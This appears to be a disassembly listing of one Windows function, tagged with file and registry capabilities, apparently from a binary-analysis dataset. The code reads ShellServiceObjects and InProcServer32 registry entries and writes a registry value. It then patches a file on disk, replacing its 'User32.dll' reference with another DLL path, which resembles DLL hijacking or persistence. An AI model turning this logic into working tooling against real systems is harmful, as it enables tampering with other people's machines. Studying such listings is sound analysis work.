Function at 0x14008ac90
Capabilities:
Delete file
Get file size
Query or enumerate registry value
Read file on windows
Write file on windows

Disassembly:
mov rax, rsp
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x310
mov qword [rsp + 0x78], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x1401620c0]
xor rax, rsp
mov qword [rsp + 0x300], rax
mov r12, rdx
mov r14, rcx
mov qword [rsp + 0x70], rcx
xor r15d, r15d
mov r13d, r15d
mov dword [rsp + 0x50], r15d
mov dword [rsp + 0x80], 0x68ddbb56
mov word [rsp + 0x84], 0x9d1d
mov word [rsp + 0x86], 0x4fd9
mov byte [rsp + 0x88], 0x89
mov byte [rsp + 0x89], 0xc5
mov byte [rsp + 0x8a], 0xc0
mov byte [rsp + 0x8b], 0xda
mov byte [rsp + 0x8c], 0x2a
mov byte [rsp + 0x8d], 0x62
mov byte [rsp + 0x8e], 0x53
mov byte [rsp + 0x8f], 0x92
mov ebx, r15d
mov dword [rsp + 0x58], ebx
cmp ebx, 1
jae 0x14008afc4
mov byte [rsp + 0xe0], 0
xor edx, edx
mov r8d, 0x103
lea rcx, [rsp + 0xe1]
call fcn.1400c2840
mov byte [rsp + 0x90], 0
xor eax, eax
mov qword [rsp + 0x91], rax
mov qword [rsp + 0x99], rax
mov qword [rsp + 0xa1], rax
mov qword [rsp + 0xa9], rax
mov qword [rsp + 0xb1], rax
mov qword [rsp + 0xb9], rax
mov qword [rsp + 0xc1], rax
mov dword [rsp + 0xc9], eax
mov word [rsp + 0xcd], ax
mov byte [rsp + 0xcf], al
mov eax, ebx
add rax, rax
lea rsi, [rsp + rax*8 + 0x80]
mov r8d, 0x40
lea rdx, [rsp + 0x90]
mov rcx, rsi
call fcn.1400b31f0
lea r9, [rsp + 0x90]
lea r8, str.SOFTWAREMicrosoftWindowsCurrentVersionexplorerShellServiceObjects
lea rdx, [0x1400fd668]
lea rcx, [rsp + 0xe0]
call fcn.1400c2cf0
lea rdx, [rsp + 0x48]
mov qword [rsp + 0x20], rdx
mov r9d, 0x80000000
xor r8d, r8d
lea rdx, [rsp + 0xe0]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14008afb8
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rsp + 0x90]
lea rdx, str.CLSID_sInProcServer32
lea rcx, [rsp + 0xe0]
call fcn.1400c2cf0
lea rdx, [rsp + 0x48]
mov qword [rsp + 0x20], rdx
mov r9d, 0x80000000
xor r8d, r8d
lea rdx, [rsp + 0xe0]
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14008afb8
mov byte [rsp + 0x1f0], al
xor edx, edx
mov r8d, 0x103
lea rcx, [rsp + 0x1f1]
call fcn.1400c2840
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x54], 0x104
lea rax, [rsp + 0x54]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x40]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14008afa8
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x48], r15
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r14
repne scasb al, byte [rdi]
not rcx
and ecx, ecx
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0xe0]
mov rcx, 0xffffffff80000000
call fcn.140049860
test eax, eax
jne 0x14008afa8
mov rax, qword [r12 + 0x298]
mov dword [rax + 0x233c], 1
mov rcx, qword [r12 + 0x298]
mov eax, dword [rsi]
mov dword [rcx + 0x2340], eax
mov eax, dword [rsi + 4]
mov dword [rcx + 0x2344], eax
mov eax, dword [rsi + 8]
mov dword [rcx + 0x2348], eax
mov eax, dword [rsi + 0xc]
mov dword [rcx + 0x234c], eax
mov rcx, qword [r12 + 0x298]
add rcx, 0x2350
mov r8d, 0x104
lea rdx, [rsp + 0x1f0]
call fcn.1400b85c0
mov r13d, 1
mov dword [rsp + 0x50], r13d
jmp 0x14008afcd
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x14008afb8
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add ebx, 1
mov dword [rsp + 0x58], ebx
jmp 0x14008ad42
test r15d, r15d
je 0x14008b16b
lea rcx, [rsp + 0xd0]
mov rax, qword [str._User32.dll___]
mov qword [rcx], rax
mov eax, dword [0x1400fd660]
mov dword [rcx + 8], eax
movzx eax, word [0x1400fd664]
mov word [rcx + 0xc], ax
movzx eax, byte [0x1400fd666]
mov byte [rcx + 0xe], al
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0010000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14008b16b
mov esi, r15d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r14d, eax
mov dword [rsp + 0x40], r14d
mov ebx, eax
mov ecx, eax
call fcn.1400c7310
mov r15, rax
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x54]
mov r8d, r14d
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0xd0]
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
mov r14, rcx
sub rbx, rcx
sub rbx, 0xa
mov qword [rsp + 0x68], rbx
mov rdi, r15
mov qword [rsp + 0x60], r15
test rbx, rbx
je 0x14008b0f8
mov r8, r14
lea rdx, [rsp + 0xd0]
mov rcx, rdi
call fcn.1400c3e90
test eax, eax
jne 0x14008b0e4
lea esi, [rax + 1]
mov rcx, qword [r12 + 0x298]
add rcx, 0x2350
movzx eax, byte [rcx]
mov byte [rdi], al
add rcx, rsi
add rdi, rsi
test al, al
jne 0x14008b0d3
jmp 0x14008b0f8
sub rbx, 1
mov qword [rsp + 0x68], rbx
add rdi, 1
mov qword [rsp + 0x60], rdi
jmp 0x14008b0a5
test esi, esi
je 0x14008b162
mov rdi, qword [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
xor ebx, ebx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14008b162
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x40]
mov rdx, r15
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call fcn.14002d0b0
nop
mov eax, r13d
jmp 0x14008b174
mov rcx, qword [rsp + 0x300]
xor rcx, rsp
call fcn.1400c2a20
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret